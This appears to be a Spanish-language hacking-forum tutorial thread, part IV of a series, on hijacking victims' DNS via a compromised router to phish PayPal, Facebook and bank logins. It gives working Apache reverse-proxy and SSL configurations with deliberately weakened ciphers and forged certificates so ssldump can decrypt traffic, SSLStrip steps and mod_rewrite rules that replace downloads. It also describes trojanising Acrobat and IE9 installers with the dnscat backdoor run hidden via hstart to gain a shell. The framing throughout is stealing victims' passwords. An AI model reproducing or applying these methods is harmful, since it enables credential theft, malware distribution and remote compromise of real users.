Y desde el router Qué? Parte IV - TERMINADA -

Todo sobre seguridad, exploits, vulnerabilidades, bug's, etc.

Moderador: Moderadores

Y desde el router Qué? Parte IV - TERMINADA -

Notapor Vic_Thor » Lun Ago 23, 2010 1:02 am

Parte IV

En esta ocasión tampoco usaremos túneles ni VPN’s,. nos vamos a seguir aprovechando de la redirección de los DNS de la víctima que apuntarán a la/las máquinas que determine el atacante… Sólo que ahora vamos a trabajar con “otras” herramientas y con “otros” conceptos. Concretamente nos vamos a centrar en SSL (las comunicaciones seguras por Internet), seguiremos utilizando Reverse Proxy y lo combinaremos con SSLDump, con SSLStrip, con DNScat, DNSlogger (una versión “modificada” por este siervo de Wadalbertia que nos hará la vida mas fácil para implementar los ataques) , crearemos los certificados de seguridad necesarios, etc, etc.. y con el mismo objetivo… capturar las contraseña de acceso “seguras” hacia webs del tipo paypal, Facebook, correo tipo yahoo… y por qué no… entidades bancarias???

Configuración de la Red Víctima:

Asumimos que los servidores DNS de la/las máquinas de la red víctima apuntan a alguna máquina bajo el control del atacante… esto ya lo tenemos desde la partes anteriores, lo que tenemos que hacer es configurar ese router comprometido y colocar como DNS Primario la IP pública del atacante o si se dispone de un dominio registrado en Internet bajo control… pues eso,

Para todo este ejemplo, la configuración de la red víctima es:

Código: Seleccionar todo
IP Pública: 193.251.1.17
IP’s Privadas: 192.168.1.x/24 (esto ciertamente no nos “interesa” en esta ocasión)
DNS Primario: 86.32.4.51 (que es la ip pública del atacante)
DNS Secundario y otros… cualquiera de los públicos de Internet. 195.235.113.3, 80.58.0.33, etc…


Es MUY IMPORTANTE que existan otras entradas DNS que no estén en poder del atacante puesto que lo que vamos a hacer en esta parte es configurar nuestro sistema para que resuelva los dominios y/o host de Internet que nos interese… aquellos que no nos interesen… que lo resuelvan los DNS Públicos.. así no “nos cargamos” con exceso de trabajo y además… si “nos desconectamos” de la red, los equipos víctima seguirán tan felices y contentos sin “notar nada”.

Configuración del lado del Atacante:

Código: Seleccionar todo
IP Pública: 86.32.4.51
IP’s Privadas: 172.28.0.0/24
Máquina atacante: 172.28.0.66 /24
Puerta enlace: 172.28.0.254
DNS’s: 195.235.113.3 80.58.0.33

El Router del atacante hace NAT de los puertos 53 UDP, 80 y 443 TCP hacia la máquina del atacante (172.28.0.66)


Luego, lo primero que tenemos que hacer (o disponer) en la red del atacante es “algo” que resuelva los dominios que queremos falsear, podemos instalarnos un Bind o un Server DNS… pero…. Tenemos que dar respuestas con “autoridad” y va ser mas complicado de ese modo…

Así que vamos a recurrir a otras herramientas, sencillas y eficaces.

Concretamente usaremos para este primer objetivo la suite de Nbtools, las tenemos disponibles para Windows y para Linux, y de verdad… funcionan a la perfección (hasta en Windows funcionan bien!!, para estos ejemplos usaremos la “versión linux” puesto que una de las cosas que haremos será modificar el código original de esta suite… y con linux es mas cómodo.

http://www.skullsecurity.org/wiki/index.php/Nbtool

Este conjunto de paquetes es muy bueno y consta de varias herramientas:

■DNS backdoor (dnscat)
■NetBIOS queries, registrations, and releases (nbquery)
■NetBIOS sniffing and poisoning (nbsniff)
■Cross-site scripting over DNS (dnsxss)
■DNS sniffer (dnslogger)
■DNS tester (dnstest)

De todos ellos usaremos dnscat y dnslogger, aunque no dejéis escapar ni practicar con dnsxxs ¡!!!

Dnscat es una puerta trasera… como lo haría netcat pero por el puerto 53 de UDP y esto trae como mayor ventaja que los cortafuegos de la red víctima van a dejar pasar ese tráfico, afirmaría que al 100%. Utilizaremos dnscat cuando queramos “colar” el backdoor a la víctima, y tiene otra ventaja… los antivirus!!! No lo reconocen como “peligroso”, os dejo un pantallazo del escaneo con virustotal:

Imagen

Dnslogger es un esniffer dns con algo mas… además de husmear las conexiones dns que recibimos es capaz de enviar una respuesta autoritativa al cliente que o solicite… de ese modo no necesitamos un servidor dns corriendo en nuestra máquina, dnslogger lo hará por nosotros.

Funciona “parecido” a dnspoof sólo que responde a todas las peticiones dns con la ip que le digamos, esto tiene sus ventajas y sus inconvenientes… el principal problema es que si queremos hacer spoof de unos cuantos dominios y no de todos pues dnslogger no nos lo permite y eso es lo que nosotros queremos hacer…

Entonces?? Por qué elegir este y no otros como dnspoof?? Pues la principal razón es porque con todos los otros que he probado no se obtuvieron los resultados deseados… casi todas las herramientas de spoofing dns se basan en ataques MiTM y funcionan muy bien en red local, pero cuando los sacas de paseo a Internet… bueno, no iban del todo bien.

Así que a grandes males, grandes remedios… Modifiqué el código fuente de dnslogger.c de tal forma que admita como parámetro un archivo con la lista de host o de dominios a falsear.

De esa modificación salen dos archivos nuevos que no existen obviamente en la suite original, estos son:

dnslogger_host y dnslogger_dom

ambos utilizan un archivo que se pasa como parámetro por consola –F archivodehost

y leerá dicho archivo para determinar qué debe responder y qué no debe responder.

Por qué dos?? Qué diferencia existe entre dnslogger_host y dnslogger_dom ??

Pues el primero falsea “exactamente” lo que le indique el archivo mientras que el otro falsea todo el dominio, es decir… supongamos que el archivo contiene esto:

http://www.facebook.com
http://www.paypal.com

dnslogger_host sólo suplantará esos y exactamente esos
dnslogger_dom falseará todo lo que termine en facebook.com y/o paypal.com

Es decir, si el cliente vícitma solicita que le resuelvan la dirección login.facebook.com pues dnslogger_host no lo hará puesto que no está en la lista mientras que dnslogger_dom sí responderá.

Estarás preguntando… hombre… parece mejor dnslogger_dom… es como “mas completo” y no hará falta especificar cada máquina de un mismo dominio….

Pues sí, es cierto, eso parece… pero… en la práctica puede (hay) algún que otro problema… por ejemplo, aunque lo veremos mas adelante, paypal utiliza varios “métodos” de control para que no se “redirijan” sus contenidos… estos métodos pueden ser url estáticas, examinar la cabecera referrer, cookies, etc.. pues bueno, al caso, si falseamos todo el dominio paypal.com y lo hacemos pasar por el proxyreverse de apache nos encontraremos que “no se ve bien” en el navegador del cliente y obviamente desconfiará y/o no seguirá con la sesión.

Se podría solucionar echando mano de mod_rewrite, mod_replace, mod_http_headers, etc en nuestro apache… pero… jooooo, es una lata.

Si por el contrario sólo falseamos algunas de las máquinas del dominio paypal.com todo funcionará a la perfección.

Y también ocurre en el caso contrario… por ejemplo, bbva.es utiliza un montón de “otras” máquinas además de http://www.bbva.es pero no tiene “ese mismo” control del que hablábamos antes… y será mas cómodo falsear todo el dominio que ir colocando máquina por máquina… al menos será mas rápido.

Vamos que como todo en la vida, no hay “aplicación mágica universal” que sirve para todo… por eso los dos.

Podéis descargar la versión “modificada” de nbtools (que incluyen estos dos nuevos programas dnslogger_host.c y dnslogger_dom.c) desde:

http://www.megaupload.com/?d=IUSBE3NJ

No voy a explicar el contenido de las modificaciones… para eso ya tenéis el código fuente… sólo tenéis que buscar Vic_Thor dentro del código fuente de esos dos archivos y os irán saliendo las partes añadidas/retocadas.

Lógicamente también he modificado el archivo Makefile para que se compilen los dos añadidos y así nadie tenga problemas a la hora de compilarlo y ejecutarlo…

Lo que no está hecho son las modificaciones para que corran en Windows… si alguno quiere hacerlo….

Ahora, antes de seguir vamos a ver cómo funciona dnslogger y “nuestras variantes” dnslogger_host y dnslogger_dom, el primer vídeo

VIDEO 01 – Configuración atacante y dnslogger



Después habilitamos el reenvio: echo 1 > /proc/sys/net/ipv4/ip_forward

VIDEO 02 – Ejecución de nbtools -dnslogger (original)



Y si vemos como está la chaé dns del cliente...

VIDEO 02b –Reolución DNS del cliente



Como hemos visto en el vídeo se resuelven TODAS las peticiones DNS de la víctima con la ip designada en dnslogger (-A 86.32.4.51) ahora veamos como funcionan las “modificaciones”, necesitaremos un archivo que guarde los host a falsear y veremos que sólo estos se responderán con la ip del atacante, el resto los resolverá el DNS secundario de la víctima y le entregará las ip’s “buenas”.

VIDEO 03 – Funcionamiento de dnslogger_host



También observa en el vídeo anterior que http://www.facebook.com se resuelve “falseado” mientras que login.facebook.com se resuelve con su direccióm IP real!!! Esto es porque usamos dnslogger_host y login.facebook.com no aparece en la lista de host a falsificar.

VIDEO 04– Funcionamiento de dnslogger_dom

La sintaxis es idéntica al anterior, solo que tomará el dominio en lugar de la máquina, por tanto, falseará login.facebook.com que antes no se hacía.

El código del programa escribe un archivo en /var/tmp un archivo llamado dominios.dom si no existe ese directorio créalo antes y dale permisos de escritura.



Bueno, ya tenemos nuestro “dns” falso… sin embargo esto no quiere decir que podamos mostrar las páginas de facebook, de paypal, etc.. sólo resolvemos el nombre con la ip indicada, si el cliente en lugar de hacer un ping solicita la página web pues nada, de nada…

VIDEO 05– Las páginas correspondientes a los host falseados no se muestran



Así que ahora debemos usar nuestro “famoso” proxyreverse con apache… pero si lo hacemos tal y como lo vimos en la parte III resultará que TODAS las peticiones del cliente de los hosts falseados se van a http://www.wadalbertia.org y eso no está bien… pero vamos a ver un vídeo para que (ya de paso) sepamos como ir configurando apache.

VIDEO 06– Reverse Proxy funciona pero todos los hosts falsificados se van a la dirección de proxypass y proxyreverse.



Como hemos visto los host o dominios que no están en la lista se resuelven y muestran las páginas adecuadas mientras que aquellos hosts/dominios que están en la lista pasan por el Proxy… pero siempre se van a Wadalbertia!!! Y no a la web adecuada.

Para solucionar este pequeño problemilla, tenemos que usar VirtualHost en Apache tal y como ya dije en el hilo de esa parte tercera… si queremos responder “adecuadamente” tendremos que incluir tantos VirtualHost como máquinas que incluimos en el archivo falsear de ese modo se enviarán correctamente.

Tenemos que incluir como VirtualHost las máquinas que nos interesen… así mas o menos:

Código: Seleccionar todo
NameVirtualHost *:80

### Para WADALBERTIA

Listen 0.0.0.0:80
<VirtualHost  *:80>
    ServerName http://www.wadalbertia.org
   ServerAlias http://www.wadalbertia.org
   ProxyPreserveHost On
   ProxyRequests Off
   <Proxy *>
        Order deny,allow
        Allow from all
    </Proxy>
   ProxyPass / http://www.wadalbertia.org/
    ProxyPassReverse / http://www.wadalbertia.org/
   <Location />
        Order allow,deny
        Allow from all
    </Location>
</VirtualHost>


Código: Seleccionar todo
## Para ADOBE

<VirtualHost  *:80>
      ServerName http://www.adobe.com
   ServerAlias http://www.adobe.com
   ProxyPreserveHost On
   ProxyRequests Off
   <Proxy *>
        Order deny,allow
        Allow from all
    </Proxy>
   ProxyPass / http://www.adobe.com/
      ProxyPassReverse / http://www.adobe.com/
    <Location />
        Order allow,deny
        Allow from all
    </Location>
</VirtualHost>


Código: Seleccionar todo
## Para FACEBOOK

<VirtualHost *:80>
    ServerName http://www.facebook.com
   ServerAlias http://www.facebook.com
    ProxyPreserveHost On
   ProxyRequests Off
   <Proxy *>
        Order deny,allow
        Allow from all
    </Proxy>
    ProxyPass / http://www.facebook.com/
    ProxyPassReverse / http://www.facebook.com/
   <Location />
        Order allow,deny
        Allow from all
    </Location>
</VirtualHost>


Y así sucesivamente con todos los que queramos… lo vemos:

VIDEO 07 Reverse Proxy y VirtualHost



Advierte en el anterior vídeo que aquellos hosts que se falsean (paypal.es, bbva.es, etc.) y que NO APARECEN en las directivas VirtualHost de Apache muestran lo que tiene el VirtualHost por defecto, por eso es conveniente incluir tantos VirtualHost en apache como máquinas que figuren en el archivo falsear cuando lanzamos dnslogger_host o dnslogger_dom
Ahora bien, ¿qué pasará cuando accedemos a una web por https?

Vamos a añadir la máquina http://www.paypal.com y su virtualhost correspondiente… también meteremos a http://www.bbva.es y su virtualhost…

VIDEO 08 Reverse Proxy,VirtualHost y SSL



Pues lo que se esperaba… para poder acceder tanto paypal.com como bbva.es es necesario hacerlo por https no por http y como no tenemos VirtualHost para los puertos 443 (ni otras muchas cosas) configurados… pues no podemos (de momento)

Vamos a hacer un alto en esto de Apache y juguemos con otra herramienta…

A ver, por el momento ya somos capaces de hacernos pasar por el dominio o máquina que se nos antoje de cara a la red victima…

¿Y si hacemos un MitM con SSLStrip??

Jejeje, mala sombra que tenemos no??

Pues sí, funcionará sin problemas… es mas… no vamos ni a necesitar apache corriendo porque se va a encargar SSLStrip de ello… tan solo con tener el reenvío activado (que ya está desde hace muuuchoooo) y lanzar SSLStrip, bastará!!!

VIDEO 09 SSLStrip con dnslogger_host o dnslogger_dom



Fácil, no??? Pues como "práctica adicional" os invito a que intentéis lo mismo (por ejemplo) con:

http://www.gruposantander.es o http://www.bancosantander.es

¿Qué pasa?

VIDEO 10 SSLStrip no siempre es la “solución” por sí solo…



Y si el “mozo” teclea directamente https://www.paypal.com ¿??

Pues eso, que entonces SSLStrip no se “percata” puesto que la conexión va directamente contra el puerto 443 y no contra el 80, por todo ello y por mas otras cosas necesitaremos nuestro apache :D

Vamos a realizar otro “alto en el camino”

Porque esto que vamos a comentar ahora igual lo necesitamos mas adelante (no todo, pero casi todo)

Recordáis que al principio del hilo hablaba acerca de dnscat???

Pues llegó el momento!!! Vamos a instalarle dnscat a la víctima, bueno, realmente podríamos instalarle cualquier cosa pero como estamos con esto….

La idea es que el “infeliz” internauta se descargue y EJECUTE el troyano, ya… estarás pensando que no lo hará…. Pero…. Y si le obligamos a que descargue lo que descargue además de “eso” que él quiere bajarse a su máquina le colamos “lo nuestro”???

Vamos a realizar “dos prácticas” una de pruebas (para entender lo que tenemos entre manos) y otra un poco más elaborada (controlada y fijando como objetivo, por ejemplo Acrobat Reader y a windowsupdate)

En este próximo vídeo vamos a controlar “sus descargas” de tal forma que si accede a cualquiera de los dominios “falseados” (los que existan en el archivo falsear) siempre se descargue… por ejemplo… skype!!!

Es decir… el usuario victima navega hacia la web de adobe para descargar de http://www.showmypc.com (que por cierto os lo recomiendo para administrar remotamente equipos) o hacia donde sea… siempre se descargue el archivo winrar.exe

Para no hacerlo muy largo, controlaremos solo las descargas que realice la victima desde showmypc.com y cualquier aplicación de sourceforge.net

Y en esta ocasión, ya que pueden cambiar los hosts de descarga… usaremos dnslogger_dom en lugar de dnslogger_host. De este modo si por ejemplo para descargar showmypc unas veces se hace desde d1.showmypc.com otras desde download3.showmypc.com, etc… no necesitaremos “chiquicientas” máquinas en Virtualhost…

VIDEO 11 Controlando las descargas (prueba 1)



La reglas de mod_rewrite aplicadas son muy simples:

Código: Seleccionar todo
       RewriteEngine On
   RewriteRule ^(.+)\.extensión_que_se_reemplazará$   http://nueva_dirección_a_escribir/ruta/archivo.extensión

Y otra práctica mas… para vosotros, calro...

¿qué tal si probáis esto mismo con?:

http://www.winrar.es y/o con downloads.winrar.es

Como veréis “tal y como” se creó la regla de mod_rewrite con esta no funciona… así que a estudiar y a postear el código necesario para que cuando se quieran descargar winrar.exe se “redirija” a Skype.exe

Vale… vamos a “afinar” un poquito mas… al igual que los casos anteriores, nos centramos en una sola aplicación… seguimos con Acrobat Reader…

Vamos a “meter” el troyanito dnscat.exe “junto” con el paquete de Acrobat Reader con la esperanza de que nuestra víctima tenga la necesidad de descargarlo o podemos usar alguna de las actualizaciones de Windows Update… que esas seguro que se descargan con frecuencia … podemos usar como “conejillo de indias” al flamante Internet Explorer 9…

Pues a ello… para que esto sea real como la vida misma necesitamos una copia “limpia” tanto de IE9 como de la última verisón de Acrobat Reader… así que a descargarlos en un equipo de la red atacante…

Cuando los tengamos, los vamos a juntar con dnscat.exe (o con lo que mas rabia nos de) y como el usuario de lo descargó de la web oficial pues lo instalará tarde o temprano…

Una vez que esto se cumpla, también se copiarán los archivos y los ejecutará el paquete de instalación!!!

Cómo? Pues hombre, seguro que tienes mas de un joinner o empaquetador o generador de instalaciones… pero no los necesitas… XP incorpora una herramienta muy poco conocida que se llama iexpress.exe (que nos viene al dedo para esto)

Sin embargo hay “otro problema” dnscat.exe se ha de ejecutar desde la línea de comandos… y eso “canta” porque se nos queda la ventanita negra en la vícitma… y no es bueno… además, si la cierra se acaba el “invento”.

Lo solucionamos en un momentito… pero antes vamos a ver como funciona dnscat suponiendo que ya se lo instalamos y ejecutamos…

VIDEO 12 Funcionamiento de dnscat.exe para Windows



Bien… como hemos visto con dnscat obtenemos un shell de la víctima… pero la dichosa pantallita delata a dnscat.

Lo solucionamos con “otra” herramienta… se llama Hidden Start (hstart.exe) y la podemos descargar desde:

http://www.ntwind.com/software/utilities/hstart.html

Asumiendo que hemos conseguido “subir” a la victima dnscat.exe y hstart.exe, la cosa cambia… así de sencillo:

VIDEO 13 Funcionamiento de dnscat.exe y hstart.exe



Ahora sólo tendríamos que ser “creativos” con los nombres dnscat y/o hstart para que se confundan con procesos de Windows o similar… ya sabes ;)

Llega la hora de “empaquetarlo” todo… como ya adelanté en Windows XP existe un programa llamado iexpress.exe que es “muy cómodo”… para el engaño necesitaremos la aplicación (en nuestro ejemplo Acrobat reader y/o la beta de Internet Explorer 9), el archivo .bat (s.bat) que ejecutará lo visto antes, hstart.exe y dnscat.exe.

Todo eso lo empaquetaremos con iexpress.exe y mediante la técnica del mod_rewrite vista antes (Vídeo 11) cuando nuestro infortunado cliente se descargue el Acrobat o IE9 además de eso que él quiere, se llevará nuestras “cosas” y si lo ejecuta, se instalará y ya está!!!

Veamos el vídeo de cómo hacer “el paquete” cabe destacar que si no usas XP (2003, 2008, W7, Vista…) necesitarás iexpress.exe, makecab.exe y wextract.exe sólo los tienes que copiar de un XP y punto.

VIDEO 14 Empaquetando herramientas.



Ya tenemos los programas “originales” junto con nuestro dnscat… si además usamos Reshack para cambiarles los iconos… pues mejor que mejor… ;)

Cuando el usuario “visite” la web de adobe y se descargue la última verisón de Acrobat o si le da por probar o instalar IE9… pues… eso…

En el siguiente vídeo se muestra eso mismo… y además, como ya comente, utilicé ResHack para poner los iconos “buenos” de cada aplicación… así cuando se los descargue será de “mas realismo”

Guardamos en el directorio /var/www de la máquina atacante los archivos "modificados" para que obligar al cliente a que los descargue...

(el directorio /var/www/ es el DocumentRoot de los VirtualHost de apache que crearemos para esta ocasión)

VIDEO 15 Fin de la jugada…



Bien, esta Parte IV está siendo mas extensa de lo que esperaba… así que la vamos a dividirla… hasta aquí este primer avance… nos queda atacar a SSL con nuestro ReverseProxy, certificados “a medida” y demás… por el momento, suficiente.

PD: Los vídeos los podéis descargar de:

http://www.megaupload.com/?d=AW396I02

Están comprimidos en un rar y la contrraseña para descomprimir es: El_Lider_DWFP
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Re: Y desde el router Qué? Parte IV - incompleta -

Notapor -genius- » Lun Ago 23, 2010 1:26 am

saludo!

como an estado espero que bien :)...

los videos son de todas las parte de, Y tras el router… Qué? o solo de la parte IV??

gracias vic_thor estan muy muy muy muy muy muy interesantes :D

gracias
-genius-
:-)
:-)
 
Mensajes: 18
Registrado: Sab Ene 30, 2010 3:50 am

Re: Y desde el router Qué? Parte IV - incompleta -

Notapor Vic_Thor » Lun Ago 23, 2010 1:38 am

Jeje... es que no me dio tiempo a subirlos antes de postear... estos son todos por el momento:

Parte 1: http://www.megaupload.com/?d=NMPMSFGA

Parte 2: http://www.megaupload.com/?d=X0A0QYTE

Parte 3: http://www.megaupload.com/?d=0YE9P7E1

Parte 4: http://www.megaupload.com/?d=AW396I02

La contraseña de los .rar la que se dijo antes: El_Lider_DWFP

PD: Gracias por el comentario acerca de "la saga" (bueno, a ti y a todos los que lo hicieron) muchas gracias.
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Re: Y desde el router Qué? Parte IV - incompleta -

Notapor Vic_Thor » Lun Ago 23, 2010 1:45 am

Ahh.. y otra cosa que me olvidaba...

Postearé la parte VII antes que la 5 y 6, para que podáis "practicar" sin miedos... (es la del making-of)
Vic_Thor
Gran Wadalbertita
Gran Wadalbertita
 
Mensajes: 855
Registrado: Vie Ene 28, 2005 11:56 pm

Re: Y desde el router Qué? Parte IV - incompleta -

Notapor jochy » Mar Ago 24, 2010 12:44 am

Saludos.
joooooooooo, excelente.
Muchas gracias vic_thor, lo he visto por encima y se ve muy sabroso, a por ello.
jochy
:-D
:-D
 
Mensajes: 120
Registrado: Vie Mar 27, 2009 4:04 am

Re: Y desde el router Qué? Parte IV - TERMINADA-

Notapor Vic_Thor » Mié Sep 01, 2010 9:15 pm

Terminemos esta cuarta parte….

Nos toca “lidiar” con SSL. Para ello usaremos alguna de las técnicas que ya hemos visto, crearemos los certificados necesarios y usaremos SSLDump para descifrar el tráfico SSL.

Primero tenemos que aclarar algunas cuestiones., la primera en cuanto a lo que acabo de decir acerca de SSLDump.

1.- SSLDump es un esnifer “especializado” en el tráfico SSL

Ccaptura, analiza y disecciona las comunicaciones. También es capaz de convertir en texto plano el tráfico cifrado mediante SSL, con LIMITACIONES, por que dicho así y si fuese “así de simple” sería chollo y esto de las comunicaciones seguras sería una idiotez.

Para conseguir descifrar el tráfico SSL, ssldump necesita la llave privada, es decir, que si nos ponemos a escuchar el tráfico SSL sin mas lo único que conseguiremos es capturar el tráfico cifrado como lo haría cualquier esnifer.

De hecho no necesitaríamos a ssldump, con whireshark (y otros) también obtendremos los mismos resultados y si poseemos la clave, pues tendremos el texto plano de las comunicaciones como si fuese http y no https.

Por otro lado, ssldump (y otros) aun teniendo las llaves, certificados, firmas y todo lo necesario no siempre puede revertir a texto plano las comunicaciones https, por ejemplo los cifrados “efímeros”, DH, RSA_EXPORT etc… no puede descifrarlos, obviamente tampoco podrá hacerlo como ya se ha dicho sin la llave privada y/o sin la contraseña de la clave privada en caso de que exista.

Es por ello que cuando generemos nuestros certificados y al configurar apache + SSL debemos utilizar cifrados que sí permitan a ssldump resolver el tráfico, además, nos interesará que no sea “muy fuerte” el nivel de cifrado… así trabajará menos.

Más adelante veremos en vídeos cómo funciona esto de ssldump….

2.- OPENSSL y nuestros certificados

Para crear el/los certificados usaremos openssl (de la forma mas simple) será mas o menos así:

Código: Seleccionar todo
openssl  req –x509 –nodes –neykey rsa:512 –keyout serverkey.pem –out servercert.pem


Tras completar los campos que nos aparecerán para generar el certificado se crearán dos archivos:
    serverkey.pem que será la llave para el certificado

    servercert.pem que será el certificado que el cliente debería tener instalado o aceptarlo para poder acceder a nuestro servidor por https
Despues tenemos que escribir la clave RSA que usamos (-newkey rsa:512) en el fichero serverkey.pem, así:

Código: Seleccionar todo
openssl rsa –in serverkey.pem –ouy serverkey.pem


y con esto suficiente para lo que tenemos entre manos, el certificado y la llave privada que “meteremos” en apache.

Nos vamos a crear tantos certificados como sitios que queramos falsear, en nuestro ejemplo serán:

Código: Seleccionar todo
   www.paypal.com
   login.facebook.com
   www.bbva.es


Vídeo 16: Certificados y openssl

[youtube]v/lnoVtHErUKc&hl=es&fs=1[/youtube]

3.- Apache.

Tenemos que configurar nuestro servidor web para que acepte las comunicaciones ssl (mod_ssl) esto ya lo tenemos desde el principio (aunque no lo hemos usado) cuando copiamos los módulos “disponibles” a los módulos “habilitados”, revisa el vídeo 06 de esta misma parte para recordarlo.

De igual modo hay que crear los VirtualHost necesarios (y con sus certificados correspondientes) dentro de apache, esto sería un ejemplo:

Código: Seleccionar todo
NameVirtualHost *:443

<VirtualHost *:443>
   ServerName www.paypal.com
   ServerAlias www.paypal.com
   SSLEngine on
   SSLCipherSuite RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
   SSLCertificateFile    /etc/apache2/CA/servercert.pem
    SSLCertificateKeyFile    /etc/apache2/CA/serverkey.pem
    SSLVerifyClient none
   SSLProxyEngine on
…..
…..


SSLEngine on “habilita” SSL para este virtual host.

SSLCipherSuite indica a apache el conjunto de cifrados que usará… observa que no se incluyen DH, no RSA_EXPORT, ni otros que impedirían a ssldump descifrar el tráfico.

SSLCertificateFile es la ruta y nombre del archivo del certificado de usuario que generamos anteriormente con openssl

SSLCertificateKeyFile es la ruta y nombre de archivo de la llave privada que también creamos con openssl.

SSLVerifyClient none para que nuestro servidor NO le solicite el certificado al cliente que se conecte… de otro modo (require en lugar de none) quien visite nuestro sitio debería ya tener el certificado instalado… y eso en estos momentos no interesa…

SSLProxyEngine activa el Proxy SSL, esto es, como también usaremos ReverseProxy pues necesitaremos esta directiva activada…

Vídeo 17: Preparando Apache con VirtualHost + SSL

[youtube]v/_Qgg-TtmSrs&hl=es&fs=1[/youtube]

Mas sobre apache… SSL y TLS

En principio cuando se utiliza SSL en apache NO se puede usar mas de un VirtualHost con la misma IP y el mismo puerto, bueno sí se pueden usar… pero todos compartirán el mismo certificado, pongamos un ejemplo:

Código: Seleccionar todo
<VirtualHost  1.1.1.1:443>
   ServerName www.paypal.com
   ServerAlias www.paypal.com
   SSLEngine on
   SSLCipherSuite RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
   SSLCertificateFile    /etc/apache2/CA/certificado-paypal.pem
    SSLCertificateKeyFile   /etc/apache2/CA/paypal-key.pem
   …..
   …..

<VirtualHost  1.1.1.1:443>
   ServerName login.facebook.com
   ServerAlias login.facebook.com
   SSLEngine on
   SSLCipherSuite RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
   SSLCertificateFile    /etc/apache2/CA/certificado-facebook.pem
    SSLCertificateKeyFile   /etc/apache2/CA/facebook-key.pem
   ....
   ...
<VirtualHost  1.1.1.1:443>
   ServerName www.bbva.es
   ServerAlias www.bbva.es
   SSLEngine on
   SSLCipherSuite RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
   SSLCertificateFile    /etc/apache2/CA/certificado-bbva.pem
    SSLCertificateKeyFile   /etc/apache2/CA/bbva-key.pem
   ....   .
   ....


Y así todos los que fuesen necesarios...

Bien, pues aunque cada uno dispone de su ServerName correspondiente y de sus certificados “particulares” correspondientes, en la práctica no funcionará…

Y no funcionará porque como todo el tráfico llega cifrado desde el cliente, nuestro servidor no puede saber a qué dominio pertenece, realmente funciona “a medias” gracias a TLS, pero resulta que para todos los virtualhost se aplica el certificado de http://www.paypal.com (que es el primero de la lista).

Si la definición de cada virtual host usásemos

Código: Seleccionar todo
1.1.1.1:443 para www.paypal.com
1.1.1.2:443 para login.facebook.com
1.1.1.3:443 para www.bbva.es


Esto si funcionaría y se aplicarían los certificados asociados… pero claro… si sólo tenemos una IP pública… pues como que no podríamos…

Otra forma de solventar el problemilla sería cambiar el puerto… esto es, si nuestra ip pública fuese 1.1.1.1 en cada virtualhost podríamos usar:

Código: Seleccionar todo
1.1.1.1:443 para www.paypal.com
1.1.1.1:444 para login.facebook.com
1.1.1.1:445 para www.bbva.es


Pero claro... no Le vamos a decir a nuestras “victimas”:

“oye!!, como te voy a birlar la contraseña, cuando accedas al banco… escribe: https://www.bbva.es:445 porque sino no puedo hacerlo!!!”

Otra posibilidad sería basar los VirtualHost en nombres y no en IP’s… esto es,

Código: Seleccionar todo
<VirtualHost  www.paypal.com:443>
   ServerName www.paypal.com
   ServerAlias www.paypal.com
   SSLEngine on
   SSLCipherSuite RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
   SSLCertificateFile    /etc/apache2/CA/certificado-paypal.pem
    SSLCertificateKeyFile   /etc/apache2/CA/paypal-key.pem
   …..
   …..

<VirtualHost  login.facebook.com:443>
   ServerName login.facebook.com
   ServerAlias login.facebook.com
   SSLEngine on
   SSLCipherSuite RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
   SSLCertificateFile    /etc/apache2/CA/certificado-facebook.pem
    SSLCertificateKeyFile   /etc/apache2/CA/facebook-key.pem
   ....
   ...
<VirtualHost  www.bbva.es:443>
   ServerName www.bbva.es
   ServerAlias www.bbva.es
   SSLEngine on
   SSLCipherSuite RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
   SSLCertificateFile    /etc/apache2/CA/certificado-bbva.pem
    SSLCertificateKeyFile   /etc/apache2/CA/bbva-key.pem
   ....   .
   ....


O sencillamente poner en todos: <VirtualHost *:443> y dejar que sea ServerName y/o ServerAlias quien se las apañe con SSL… pero tampoco, nos pasa lo mismo… funcionar funciona pero el certificado tiene que ser para todos el mismo!!!

Bueno, y qué problema hay que el certificado sea para todos el mismo??

Pues que al cliente… aunque disponga de los TODOS los certificados instalados (los tres del ejemplo) cuando acceda a facebook o a bbva, le aparecerá siempre eso de que el certificado no es válido.

Sólo cuando acceda a paypal no recibirá el aviso, lo vemos en el vídeo… asumimos que los certificados de todos los sitios están instalados en el cliente!!! Luego ya veremos como torear con esto,

En este próximo vídeo suponemos que “de alguna forma” hemos sido capaces de subir los certificados al equipo víctima y por el “artículo 33” este hombre los instala… Veremos que no funciona como se esperaba aunque el “pobre infeliz” instala los tres certificados como Entidades emisoras de Confianza!!!!


Vídeo 18: Problemas con los certificados y VirtualHost con SSL

[youtube]v/owr2suHz0P8&hl=es&fs=1[/youtube]

Bien, soluciones???

La solución es TLS, para solucionar este problema se publicó en 2006 el RFC 4366.

TLS (desde entonces) dispone de “extensiones” a nivel cliente y servidor. Una de estas extensiones permite que al cliente en el establecimiento de la conexión (antes de comenzar el cifrado) y de este modo puede indicar el dominio al que desea acceder,

Obviamente el navegador “cliente” debe soportar TLS y sus extensiones… cosa que hoy en día todos lo hacen.

Y por parte del servidor necesitamos que admita el llamado SNI (Server Name Indication)

Quien nos hace la magia es SNI. Para que esto funcione es necesario cumplir una serie de requisitos:

    * OpenSSL 0.9.8f o posterior con extensiones TLS (enable-tlsext)

    Ciertamente por varios sitios de Internet he leído que es a partir de la versión 0.9.8g, pero creo que a partir de la “f” nos vale.

    * Apache compilado con dicho OpenSSL… y no todos los “apache” nos sirven… también tengo entendido que hay que disponer de la versión 2.2.12 en adelante…

    *Que el Navegador del cliente utilice y "comprenda" las extensiones SNI, no es mucho problema en la actualidad, pero por ejemplo, XP incluso con IE8 NO ADMITE SNI, es decir, o usamos firefox (2.0 o posterior, por ejemplo) con XP o si queremos usar Internet Explorer... Windows Vista o posterior

En el servidor apache, hay que añadir en la configuración esto:

Código: Seleccionar todo
SSLStrictSNIVHostCheck on


Vídeo 19 Comprobación de versiones apache y openssl

